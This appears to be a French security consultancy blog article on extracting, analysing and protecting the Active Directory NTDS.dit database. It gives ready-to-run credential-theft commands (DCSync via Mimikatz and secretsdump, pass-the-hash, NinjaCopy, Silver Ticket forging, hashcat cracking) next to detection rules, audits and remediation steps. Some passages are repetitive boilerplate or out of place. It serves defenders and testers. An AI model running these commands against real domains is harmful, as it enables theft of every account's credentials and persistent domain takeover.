AYI NEDJIMI Consultants

NTDS.dit : Extraction, Analyse et Protection des Secrets

Catégorie : Attaques Active Directory Lecture : 10 min Publié le : 08/03/2026 Auteur : Ayi NEDJIMI

Guide complet NTDS.dit : structure ESE, techniques d'extraction (ntdsutil, vssadmin, DCSync), outils d'analyse (secretsdump, DSInternals), attaques.

2.1 Le moteur ESE (Extensible Storage Engine)

NTDS.dit utilise le moteur de base de données **ESE** (Extensible Storage Engine), aussi connu sous le nom de **JET Blue**. Ce même moteur est utilisé par Exchange Server, Windows Search et d'autres composants Microsoft. ESE est une base de données transactionnelle ISAM (Indexed Sequential Access Method) qui offre des performances élevées pour les opérations de lecture/écriture concurrentes. Pour plus d'informations, consultez les ressources de MITRE ATT&CK. Guide complet NTDS.dit : structure ESE, techniques d'extraction (ntdsutil, vssadmin, DCSync), outils d'analyse (secretsdump, DSInternals), attaques. Active Directory reste la cible privilégiée des attaquants en environnement Windows. Comprendre ntds dit extraction protection secrets est indispensable pour les équipes offensives comme défensives. Nous abordons notamment : 8. scénario complet : de la compromission à la remédiation, questions frequentes et 9. conclusion. Les professionnels y trouveront des recommandations actionnables, des commandes prêtes à l'emploi et des stratégies de mise en œuvre adaptées aux environnements d'entreprise.

Le fichier NTDS.dit se trouve par défaut dans `%SystemRoot%\NTDS\ntds.dit` sur chaque contrôleur de domaine. Il est accompagné de fichiers de journalisation transactionnelle :

- `ntds.dit` : la base de données principale (taille typique : 100 Mo à plusieurs Go selon le nombre d'objets)
- `edb.log` : journal de transactions actif (10 Mo par défaut)
- `edb*.log` : journaux de transactions en attente de checkpoint
- `edb.chk` : fichier de checkpoint qui indique la dernière transaction validée dans la base
- `temp.edb` : espace de travail temporaire pour les opérations internes

2.2 Tables principales

La base NTDS.dit contient plusieurs tables, dont les principales sont :

Table	Contenu	Intérêt pour l'attaquant
datatable	Tous les objets AD (utilisateurs, groupes, ordinateurs, GPO, etc.) avec leurs attributs	Hashes NT, historique de mots de passe, attributs confidentiels
link_table	Relations entre objets (appartenances aux groupes, liens managedBy, etc.)	Reconstruction des groupes et permissions
sd_table	Security descriptors (ACL) de tous les objets	Identification des permissions abusives
hiddentable	Métadonnées internes (epoch, schema version, etc.)	Informations de contexte

2.3 Attributs sensibles dans la datatable

La datatable contient les attributs qui intéressent le plus les attaquants. Ces attributs sont stockés de manière chiffrée dans la base, mais le chiffrement peut être déverrouillé avec la **Boot Key** (aussi appelée SysKey) stockée dans le registre SYSTEM :

Attribut	Nom LDAP	Description
NT Hash	unicodePwd (dBCSPwd)	Hash NTLM du mot de passe actuel (MD4 du mot de passe Unicode)
LM Hash	dBCSPwd	Hash LAN Manager (obsolète, désactivé par défaut depuis Vista)
Password History	ntPwdHistory / lmPwdHistory	Historique des N derniers hashes (configurable, typiquement 24)
Supplemental Credentials	supplementalCredentials	Mots de passe en clair (WDigest), clés Kerberos (AES256, AES128, DES-CBC)
SID History	sIDHistory	SIDs d'anciens domaines (exploitable pour la persistance cross-domaine)
KRBTGT Key	unicodePwd (du compte krbtgt)	Clé maître Kerberos -- permet la forge de Golden Tickets

Le chiffrement de NTDS.dit n'est pas une protection
Les secrets dans NTDS.dit sont chiffrés avec un système à trois couches (PEK → Boot Key → attribut), mais cette protection est **transparente pour tout processus disposant de droits d'administration sur le contrôleur de domaine**. L'extraction de la Boot Key depuis le registre SYSTEM est triviale. Le chiffrement protège uniquement contre la lecture directe du fichier sur disque hors contexte -- pas contre un attaquant avec des privilèges d'administration.

Cas concret
L'attaque SolarWinds (2020) a utilisé la technique Golden SAML pour forger des tokens d'authentification, permettant un accès persistant aux environnements Microsoft 365 et Azure AD sans déclencher d'alertes. Cette technique a démontré que la compromission d'un serveur AD FS pouvait anéantir la confiance dans toute l'infrastructure d'identité.

```
# DCSync avec Mimikatz (depuis une machine quelconque du domaine)
# Nécessite: Replicating Directory Changes + Replicating Directory Changes All
mimikatz # lsadump::dcsync /domain:corp.local /all /csv
mimikatz # lsadump::dcsync /domain:corp.local /user:krbtgt

# DCSync avec secretsdump.py (Impacket) - plus discret
python3 secretsdump.py -just-dc corp.local/admin:Password123@dc01.corp.local

# Extraction ciblée d'un seul utilisateur
python3 secretsdump.py -just-dc-user krbtgt corp.local/admin:Password123@dc01.corp.local

# Via pass-the-hash (sans connaître le mot de passe en clair)
python3 secretsdump.py -just-dc -hashes :aad3b435b51404eeaad3b435b51404ee corp.local/
admin@dc01.corp.local
```

Pourquoi DCSync est si dangereux

DCSync est redoutable pour trois raisons : (1) il ne nécessite pas d'accès physique ou RDP au DC -- une machine compromise sur le réseau suffit ; (2) le trafic de réplication est considéré comme normal entre DCs, ce qui le rend difficile à détecter au niveau réseau ; (3) seuls les droits **Replicating Directory Changes** et **Replicating Directory Changes All** sont nécessaires, et ces droits sont parfois attribués à des comptes non Domain Admin (outils de synchronisation, Identity Management). Voir notre article sur BloodHound pour identifier tous les comptes disposant de ces droits.

Détection : L'**Event ID 4662** (operation on directory object) avec les GUID de propriétés `1131f6aa-9c07-11d1-f79f-00c04fc2dcd2` (DS-Replication-Get-Changes) et `1131f6ad-9c07-11d1-f79f-00c04fc2dcd2` (DS-Replication-Get-Changes-All) depuis un compte qui n'est pas un contrôleur de domaine est le signal d'alerte principal pour DCSync.

3.4 Méthode 4 : Copie raw avec NinjaCopy / Invoke-NinjaCopy

NinjaCopy (module PowerShell de PowerSploit) permet de copier des fichiers verrouillés en lisant directement les secteurs du disque, contournant les verrous du système de fichiers NTFS. Cette technique est plus discrète que vssadmin car elle ne crée pas de shadow copy :

```
# NinjaCopy depuis PowerSploit
Import-Module .\Invoke-NinjaCopy.ps1

# Copier NTDS.dit en lisant directement les clusters NTFS
Invoke-NinjaCopy -Path "C:\Windows\NTDS\ntds.dit" -LocalDestination "C:\temp\ntds.dit"

# Copier le registre SYSTEM
Invoke-NinjaCopy -Path "C:\Windows\System32\config\SYSTEM" -LocalDestination "C:
\temp\SYSTEM"
```

Détection : Surveiller le chargement de modules PowerShell suspects, l'exécution de scripts avec des noms liés à NinjaCopy, et l'accès direct aux volumes (DeviceIoControl) depuis des processus non système. Sysmon Event ID 7 (Image Loaded) peut capturer le chargement du module.

3.5 Méthode 5 : Extraction via sauvegarde ou média IFM

Les sauvegardes du System State d'un contrôleur de domaine contiennent une copie de NTDS.dit. Si un attaquant accède à l'infrastructure de sauvegarde (serveur Veeam, bandes, stockage cloud), il peut extraire NTDS.dit sans jamais toucher au DC lui-même. De même, les médias IFM créés pour la promotion de DCs supplémentaires contiennent une copie complète de la base :

- **Sauvegardes Windows Server Backup** : le System State contient NTDS.dit, le registre, et SYSVOL
- **Sauvegardes Veeam / Commvault / Veritas** : les agents sur les DCs capturent ntds.dit
- **Médias IFM oubliés** : répertoires laissés sur des partages ou des DCs après promotion
- **Snapshots VM** : un snapshot de la VM du DC contient le fichier NTDS.dit en état cohérent

Protection des sauvegardes : une priorité absolue
Les sauvegardes de DCs doivent bénéficier du même niveau de protection que les DCs eux-mêmes. Chiffrez les sauvegardes, restreignez l'accès au stockage de sauvegarde aux seuls comptes d'administration Tier 0, et supprimez immédiatement les médias IFM après utilisation. Un attaquant qui accède à une sauvegarde vieille de 6 mois obtient les hashes de tous les mots de passe inchangés depuis -- y compris probablement le hash du compte KRBTGT.

DSInternals est également un outil défensif puissant. Utilisez `Test-PasswordQuality` sur une copie de NTDS.dit pour identifier les comptes avec des mots de passe faibles, compromis (présents dans les bases HIBP), ou identiques entre plusieurs comptes. C'est un audit de mots de passe sans avoir besoin de les craquer. Combinez avec LAPS pour les comptes d'administration locale.

4.3 Analyse forensique avancée

Au-delà de l'extraction de hashes, l'analyse de NTDS.dit fournit des informations forensiques précieuses pour les investigations :

- **Historique des mots de passe** : permet de déterminer si un compte a réutilisé d'anciens mots de passe ou suit un pattern de rotation prévisible (Password1, Password2, Password3...)
- **Timestamps** : `pwdLastSet`, `lastLogonTimestamp`, `whenCreated`, `whenChanged` permettent de reconstituer la timeline de l'activité du compte
- **SID History** : des SIDs ajoutés dans l'attribut `sIDHistory` peuvent indiquer une attaque de persistance cross-domaine ou une migration mal nettoyée
- **Supplemental Credentials** : sous Windows Server 2012 R2 et antérieur avec WDigest activé, les mots de passe en clair peuvent être récupérés
- **Comptes désactivés avec hashes valides** : des comptes désactivés mais dont le hash est réutilisé par des comptes actifs (password reuse)

```
# Analyse forensique avec DSInternals
# Identifier les comptes avec SID History (persistance potentielle)
Get-ADDBAccount -All -DBPath "C:\temp\ntds.dit" -BootKey $bootkey |
    Where-Object { $_.SidHistory.Count -gt 0 } |
    Select-Object SamAccountName, Sid, SidHistory

# Identifier les comptes créés récemment (backdoor potentiel)
Get-ADDBAccount -All -DBPath "C:\temp\ntds.dit" -BootKey $bootkey |
    Where-Object { $_.WhenCreated -gt (Get-Date).AddDays(-30) } |
    Select-Object SamAccountName, WhenCreated, Enabled, MemberOf

# Identifier les comptes avec le même hash NT (password reuse)
$accounts = Get-ADDBAccount -All -DBPath "C:\temp\ntds.dit" -BootKey $bootkey
$accounts | Group-Object { $_.NTHash } | Where-Object { $_.Count -gt 1 } |
    Select-Object Count, @{N='Hash';E={$_.Name}},
@{N='Accounts';E={$_.Group.SamAccountName -join ', '}}
```

Un **Silver Ticket** est un ticket de service (TGS) forgé avec le hash du compte de service cible. Contrairement au Golden Ticket qui donne accès à l'ensemble du domaine, le Silver Ticket est ciblé sur un service spécifique, ce qui le rend plus discret :

```
# Silver Ticket pour le service CIFS (accès fichiers) du DC
mimikatz # kerberos::golden /user:FakeUser /domain:corp.local \
    /sid:S-1-5-21-1234567890-1234567890-1234567890 \
    /target:dc01.corp.local \
    /service:cifs \
    /rc4:[hash_du_compte_machine_DC01$] \
    /ptt

# Silver Ticket pour le service LDAP (DCSync sans être Domain Admin)
mimikatz # kerberos::golden /user:FakeUser /domain:corp.local \
    /sid:S-1-5-21-1234567890-1234567890-1234567890 \
    /target:dc01.corp.local \
    /service:ldap \
    /rc4:[hash_du_compte_machine_DC01$] \
    /ptt
```

5.4 Password cracking offline

Les hashes NT extraits de NTDS.dit peuvent être craqués offline pour obtenir les mots de passe en clair. Le hash NT (NTLM) est un simple MD4 du mot de passe Unicode, **sans salage**, ce qui le rend vulnérable aux attaques par dictionnaire, par règles de mutation et par tables précalculées :

```
# Cracking avec Hashcat (mode 1000 = NT hash)
# Attaque dictionnaire simple
hashcat -m 1000 hashes.txt rockyou.txt

# Attaque dictionnaire + règles de mutation
hashcat -m 1000 hashes.txt rockyou.txt -r rules/best64.rule

# Attaque par masque (brute force structuré)
# Pattern: Majuscule + minuscules + chiffres + spécial (ex: Password123!)
hashcat -m 1000 hashes.txt -a 3 '?u?l?l?l?l?l?l?l?d?d?d?s'

# Résultats typiques sur un dump de 10,000 comptes:
# - 40-60% craqués avec rockyou.txt + règles
# - 70-80% craqués avec des dictionnaires spécialisés (nom de l'entreprise, ville, etc.)
# - 90%+ craqués en ajoutant des règles de mutation avancées

# Vérification des mots de passe craqués pour les comptes privilegiés
hashcat -m 1000 hashes.txt --show --username | grep -i admin
```

L'absence de salage : la faiblesse fondamentale

Contrairement à Linux (SHA-512 + sel) ou aux applications web modernes (bcrypt, Argon2), les hashes NT stockés dans NTDS.dit ne sont **pas salés**. Cela signifie que deux utilisateurs avec le même mot de passe auront le même hash, et que les tables précalculées (rainbow tables) fonctionnent. Un GPU moderne (RTX 4090) peut tester plus de **120 milliards de hashes NT par seconde**. C'est pourquoi la longueur et la complexité du mot de passe sont les seules défenses au niveau du hash lui-même.

```
# Script de rotation du mot de passe KRBTGT
# ATTENTION: cette opération impacte l'ensemble du domaine
# Planifier en dehors des heures de pointe

# Rotation 1 (invalide le hash actuel, l'ancien reste dans l'historique)
Set-ADAccountPassword -Identity krbtgt -Reset -NewPassword (
    ConvertTo-SecureString -AsPlainText (
        -join ((65..90) + (97..122) + (48..57) + (33..47) |
        Get-Random -Count 64 | ForEach-Object { [char]$_ })
    ) -Force
)

# Vérifier la date de dernière modification
Get-ADUser krbtgt -Properties PasswordLastSet | Select-Object PasswordLastSet

# ATTENDRE 10-12 heures (max lifetime d'un TGT)

# Rotation 2 (invalide aussi le hash de l'historique)
Set-ADAccountPassword -Identity krbtgt -Reset -NewPassword (
    ConvertTo-SecureString -AsPlainText (
        -join ((65..90) + (97..122) + (48..57) + (33..47) |
        Get-Random -Count 64 | ForEach-Object { [char]$_ })
    ) -Force
)
```

Politique de mots de passe robuste

Puisque les hashes NT ne sont pas salés, la seule défense contre le cracking offline est la **robustesse du mot de passe**. Les recommandations actuelles :

Type de compte	Longueur minimum	Politique recommandée
Utilisateurs standard	14 caractères	Passphrase (4+ mots), pas de rotation forcée (NIST 800-63B)
Comptes privilégiés	20 caractères	Générateur aléatoire, coffre-fort de mots de passe, rotation 90 jours
Comptes de service	30+ caractères	Préférer les gMSA (Group Managed Service Accounts) avec rotation automatique
KRBTGT	N/A (aléatoire)	Rotation tous les 180 jours, double rotation en cas d'incident

gMSA (Group Managed Service Accounts)
Les **gMSA** sont la solution définitive pour les comptes de service. Leur mot de passe est géré automatiquement par AD, fait 240 caractères aléatoires et est roté automatiquement tous les 30 jours. Un gMSA extrait de NTDS.dit devient inutile après la prochaine rotation automatique :

```
# Créer un gMSA
New-ADServiceAccount -Name "svc_webapp" `
    -DNSHostName "svc_webapp.corp.local" `
    -PrincipalsAllowedToRetrieveManagedPassword "WebServers_Group" `
    -KerberosEncryptionType AES128,AES256

# Installer le gMSA sur le serveur cible
Install-ADServiceAccount -Identity "svc_webapp"

# Configurer le service Windows pour utiliser le gMSA
# Nom d'utilisateur: CORP\svc_webapp$
# Mot de passe: (laisser vide - géré automatiquement)
```

7.3 Surveillance continue

La surveillance continue est le dernier rempart. Déployez les contrôles suivants :

- **Alertes SIEM critiques** : les règles Sigma de la section 6 doivent déclencher des alertes priorité maximale avec notification immédiate de l'équipe sécurité
- **Audit des permissions DCSync** : vérification hebdomadaire automatisée des ACL sur la partition de domaine pour détecter l'ajout de droits de réplication
- **Monitoring des accès aux DCs** : journalisation complète (Event ID 4624, 4625, 4648) des logons sur les contrôleurs de domaine avec alerte sur tout logon non prévu
- **Intégrité de NTDS.dit** : monitoring FIM (File Integrity Monitoring) sur les répertoires `%SystemRoot%\NTDS\` pour détecter les copies ou accès anormaux
- **Analyse périodique de la qualité des mots de passe** : exécution mensuelle de `Test-PasswordQuality` (DSInternals) pour identifier les comptes vulnérables au cracking

Checklist de protection NTDS.dit
Utilisez cette checklist pour vérifier la posture de sécurité de vos secrets AD :

- Domain Admins limités à 2-3 comptes, jamais utilisés pour le quotidien
- Droits DCSync audités -- uniquement les comptes DC machine

- PAW déployées pour l'administration Tier 0
- KRBTGT roté dans les derniers 180 jours
- Credential Guard activé sur tous les endpoints et serveurs
- gMSA utilisés pour tous les comptes de service
- Politique de mot de passe : 14+ caractères (standard), 20+ (privilégiés)
- Sauvegardes de DCs chiffrées, accès restreint Tier 0
- Médias IFM supprimés après utilisation
- Règles de détection déployées (ntdsutil, vssadmin, DCSync, Golden Ticket)
- Alertes SIEM testées et validées (purple team)
- LAPS déployé pour les comptes admin locaux

8. Scénario complet : de la compromission à la remédiation

Pour illustrer l'ensemble des concepts, voici un scénario réaliste de bout en bout :

8.1 Phase d'attaque

1. **Compromission initiale** : un email de phishing compromet le poste d'un utilisateur du service comptabilité
2. **Élévation locale** : l'attaquant exploite un mot de passe admin local identique sur plusieurs postes (absence de LAPS)
3. **Mouvement latéral** : pass-the-hash du compte admin local vers un serveur de fichiers où un Domain Admin a une session active
4. **Credential harvesting** : extraction du hash Domain Admin depuis la mémoire LSASS du serveur (Mimikatz sekurlsa::logonpasswords)
5. **DCSync** : utilisation du hash Domain Admin pour lancer DCSync depuis le serveur compromis, extraction de l'ensemble de NTDS.dit à distance
6. **Persistance** : forge d'un Golden Ticket avec le hash krbtgt, création d'un compte backdoor dans un OU peu surveillée

8.2 Phase de remédiation

Si une extraction de NTDS.dit est confirmée ou suspectée, la remédiation est **massive et urgente**. Considérez que tous les secrets du domaine sont compromis :

1. **Contenir immédiatement** : isoler les machines compromises identifiées, révoquer les sessions et tickets Kerberos des comptes compromis
2. **Double rotation KRBTGT** : effectuer deux rotations du mot de passe krbtgt (avec 10-12h d'intervalle) pour invalider tout Golden Ticket
3. **Réinitialiser tous les mots de passe privilégiés** : Domain Admins, Enterprise Admins, Schema Admins, comptes de service non-gMSA avec accès critique
4. **Réinitialiser les mots de passe des comptes de service** : tous les comptes dont le hash a été extrait et qui ne sont pas des gMSA

5. **Auditer les comptes créés récemment** : rechercher les backdoors (comptes créés par l'attaquant, comptes ajoutés à des groupes privilégiés)
6. **Auditer les ACL modifiées** : rechercher les modifications de permissions qui auraient permis une persistance (droits DCSync ajoutés, AdminSDHolder modifié)
7. **Réinitialiser les mots de passe utilisateur** : en fonction de l'analyse de risque, forcer la réinitialisation de tous les mots de passe ou cibler les comptes critiques
8. **Déployer les contrôles manquants** : Credential Guard, LAPS, gMSA, PAW, règles de détection

L'extraction de NTDS.dit est un "game over" -- la remédiation est un projet
Si un attaquant a réussi à extraire NTDS.dit, la remédiation n'est pas une action ponctuelle -- c'est un **projet de plusieurs semaines** qui implique la réinitialisation de milliers de mots de passe, l'audit de toutes les configurations, et la mise en place de contrôles qui auraient dû exister. C'est pourquoi la prévention (tiering, PAW, surveillance) est infiniment moins coûteuse que la remédiation.

Questions frequentes

Comment mettre en place NTDS.dit dans un environnement de production ?

La mise en place de NTDS.dit en production necessite une planification rigoureuse, incluant l'evaluation des prerequis techniques, la definition d'une architecture cible, des tests de validation approfondis et un plan de deploiement progressif avec des points de controle a chaque etape.

Comment détecter rapidement une attaque de type NTDS.dit : Extraction, Analyse et Protection des Secrets ?

Surveillez les événements Windows 4662, 4624 type 3 et 4672 via votre SIEM. Corrélez-les avec des connexions inhabituelles vers les contrôleurs de domaine en dehors des heures de travail.

Quels sont les premiers gestes de remédiation après NTDS.dit : Extraction, Analyse et Protection des Secrets ?

Isolez le compte compromis, forcez la rotation de krbtgt deux fois à 12h d'intervalle, et analysez les logs Kerberos. Lancez ensuite un scan BloodHound pour cartographier les chemins d'attaque restants.

Pour approfondir ce sujet, consultez notre outil open-source bloodhound-custom-queries qui facilite l'analyse avancée des chemins d'attaque Active Directory.

Points clés à retenir

- 8. Scénario complet : de la compromission à la remédiation
- Questions frequentes
- 9. Conclusion
- Besoin d'une expertise en cybersécurité ?

9. Conclusion

Le fichier NTDS.dit est le coeur cryptographique d'Active Directory. Sa compromission donne à l'attaquant un accès total et persistant à l'ensemble du domaine -- comptes, mots de passe, clés Kerberos, tout. Les techniques d'extraction sont multiples (ntdsutil, vssadmin, DCSync, NinjaCopy) et certaines comme DCSync peuvent être exécutées à distance sans jamais toucher physiquement au contrôleur de domaine.

La défense repose sur trois piliers : **prévenir l'extraction** (tiering, réduction des Domain Admins, audit des droits DCSync, PAW), **réduire l'impact** (rotation KRBTGT, gMSA, politique de mots de passe robuste, Credential Guard) et **détecter rapidement** (règles SIEM, monitoring des DCs, audit continu des permissions). Aucun de ces piliers seul n'est suffisant -- c'est leur combinaison qui constitue une défense robuste.

L'audit régulier de la qualité des mots de passe via DSInternals, l'analyse des chemins d'attaque via BloodHound et le durcissement continu via les GPO de sécurisation forment le triptyque d'une posture de sécurité AD mature. Chaque organisation utilisant Active Directory devrait considérer la protection de NTDS.dit comme une priorité de sécurité absolue.

En résumé : NTDS.dit contient les clés du royaume. Protégez-le comme tel -- avec des contrôles d'accès stricts, une surveillance permanente et la capacité de répondre rapidement en cas de compromission. La question n'est pas si quelqu'un tentera d'extraire vos secrets AD, mais quand.
Sources et références : MITRE ATT&CK Privilege Escalation · ADSecurity.org

Besoin d'une expertise en cybersécurité ?

Protégez vos secrets Active Directory avec nos audits spécialisés

Nos Services

Ayi NEDJIMI Consultants — Expert cybersécurité offensive & intelligence artificielle

ayinedjimi-consultants.fr · ayi@ayinedjimi-consultants.fr